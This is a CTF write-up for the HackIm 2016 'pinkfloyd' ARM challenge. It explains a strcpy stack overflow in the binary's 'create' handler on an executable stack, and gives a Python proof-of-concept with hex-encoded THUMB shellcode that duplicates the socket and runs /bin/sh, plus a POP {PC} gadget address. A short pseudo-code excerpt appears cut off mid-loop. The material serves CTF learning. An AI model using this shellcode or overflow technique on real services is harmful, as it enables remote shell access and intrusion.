HackIm CTF - Exploitation 100 - pinkfloyd

31 January 2016 by sku


The challenge presents us with a statically linked 32-bit LSB ARM EABI5 version 1 (SYSV) linux binary. Upon closer inspection, we can see that it was compiled with an executable stack / heap. This will come in handy later on.

$ readelf -a ./pinkfloyd | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

The binary follows the classic recipe:

  1. Create a TCP IPv4 socket
  2. Bind it to the challenge port (9981), and start listening for connections
  3. Fork upon connection, and handle the client in the child process

For our exploitation purposes, only the child process is relevant. Any future reference to binary or process refers to the child process. Once the connection is established, the binary will send the string "playlist$> " through the newly accepted socket to the client. Further static analysis reveals the possible commands understood by the binary:

  1. "?" or "help": prints command list
  2. "create": create a new playlist
  3. "print": list available playlists

The binary pretends to have more commands, however the main interpreter loop for incoming commands only processes these 3 commands, of which only 2 are relevant. The actions of the interpreter loop can be summarized with the following pseudo code:

char command[256];
int timed_out = 0;

while (!timed_out) {
    /* timeout logic, disconnect client if inactive */

    send_to_client("playlist$> ");
    recv(sock, command, 255, 0);

The strip_right functionaly is fairly straight forward: remove trailing whitespace characters by setting them to 0. There is nothing special going on here, but we can take notice of two things, one of which will end up facilitating the exploitation later on:

  1. The command buffer is never cleared. This reveals a (potentially unintended and not exploitable) program bug. Sending a large command - such as "this is a large test command string" - will render the binary useless in command-line mode. Sending "create" after such a request would result in a string "create\n a large text command string", which clearly does not match up with any known command. This is quite useful for us however, as we can store data on the stack (and remember, the stack is executable) that is never modified by functions further down the call stack.
  2. The receive size is 255, so we cannot possibly use this buffer for an overflow, which means we will have to look for other bugs.

The create command handler is quite interesting. It will prompt for a playlist name, a list of tags, and the maximum number of songs. Then we can see the following:

char copyInBuffer[0xc8]    /* stack offset: bp-0x0d8 */
char receiveBuffer[0x400]; /* stack offset: bp-0x4d8 */
ssize_t len;

memset(receiveBuffer, 0, sizeof(receiveBuffer));
len = recv(sock, receiveBuffer, 1023, 0);
printf("Copying %d bytes from %p to %p\n", len, receiveBuffer, copyInBuffer);
strcpy(copyInBuffer, receiveBuffer);

/* more stuff */

The printf output looks very interesting: free stack addresses! But.. if you recall, we are communicating through a socket, and standard output is never actually sent to us. Nevertheless, this is useful for debugging locally.

The strcpy call on the other hand is the real deal: it copies up to 1023 bytes from one buffer into a second, smaller buffer. The smaller buffer is at bp-0x0d8, so we can clearly overflow into the stored link register on the stack - perfect.


We have a stack buffer overflow in the create command handler, and we have an executable stack. If we know the stack position, we can point the new return address to the stack where we plant zero-free shellcode.

When we run and debug this locally, we will know exactly where the stack is, so this exercise becomes very easy. However, I was not able to replicate this remotely. I have tried various settings locally, using qemu-arm-static from Ubuntu 14.04 as well as qemu-arm compiled from source. I have tried different env setups, but all the stack addresses I saw did not work remotely... sadface.

Looking at the stack memory right as the function should return, we can see the following (values are artificial for the purposes of illustration):

00009160 10 88 BD E8   LDMFD  SP!, {R4,R11,PC}

x/4xw $sp
ff6ff040: 0x41414141  # this will become the new R4 value
ff6ff044: 0x42424242  # this will become the new R11 value
ff6ff048: 0x43434343  # this will become the new PC value (return to)
ff6ff04c: 0xff6ff0c0  # this address lies within the stack!

Right after the stored link register, there is a pointer pointing onto the stack - but what is it? This happens to point to the command buffer! While this would be expected behavior on IA32, on ARM the initial function arguments are passed through registers, so we are quite lucky. If we point the stored return address to a POP {PC} gadget, we can start executing on the stack at the command buffer.

Finding such a gadget is easy (statically linked, remember?), so we are almost good to go. We can combine our previous obsevation with the command buffer to place shellcode using an invalid command first. The last problem is this: our command buffer we want to start executing will start with "create\x00", and who knows what mysterious ARM code that might be. Turns out that "create\x00X" is valid ARM code which luckily doesn't segfault us or mess with the instruction pointer / stack, so we are good to go!

Below is a commented PoC script in python performing the exploit.

#!/usr/bin/env python2.7
# @skusec
import time
import struct
import re
import telnetlib
import socket

# Or just use the pwn framework..

class Socket(socket.socket):

    def __init__(self):
        super(Socket, self).__init__()

    def readuntil(self, s):
        buf = ''
        while s not in buf:
            buf += self.recv(1)
        return buf

def create(s, name):
    # Options are create, help, ?, and exit, but we can put
    # whatever string we want onto the stack.
    # Let's create the invalid command (containing shellcode).
    shellcode  = ''
    # ARM instructions are always 4 bytes long, to cover the "create" string
    # we need to pad 8 bytes. We will execute a couple of these X's, but luckily
    # these instructions don't cause a segfault, which is all we need. Otherwise
    # we would have to find other bytes that would not mess us up later on.
    shellcode += 'XXXXXXXX'
    # We are in ARM mode, but THUMB is easier to get null-byte free, 
    # so lets enter THUMB mode by jumping to pc+1.
    shellcode += '\x01\x30\x8f\xe2' # r3=pc+1
    shellcode += '\x13\xff\x2f\xe1' # bx r3
    # This is shellcode to perform dup2(sock, 0) and dup2(sock, 1) so we can
    # talk to the shell (remember, we are communicating through 
    # the socket at the moment).
    shellcode += '012104203f2701df0121013904203f2701df'.decode('hex')
    # And this is some execve /bin/sh THUMB shellcode off the interwebs.
    shellcode += '78460830491a921a0b2701df2f62696e2f7368'.decode('hex')

    s.sendall('%s\x00' % shellcode)
    # Expect the "bad command" string.

    # Now create, this will override the 'XXXXXXX', but the 
    # rest of the shellcode stays intact. We have 2 instructions
    # made of "crea" and "te\x00X" - useless instructions
    # that luckily do not cause a segfault. :)

    # Just create some list..
    s.sendall(name + '\n')
    s.sendall('a' + '\n')

# Do the thing.
s = Socket()
s.connect(('', 9981))

# Stack: [208 bytes][R4][R11][LR][command-buffer-ptr]
payload = 'A' * (208)
payload += struct.pack('<I', 0x43434343) # R4
payload += struct.pack('<I', 0x42424242) # R11
payload += struct.pack('<I', 0x52a78)    # return to a POP {pc} gadget
create(s, payload)

t = telnetlib.Telnet()
t.sock = s
# Stupid chroot..: /bin/cat /flag*

Next up: writeups for exp200 and exp300..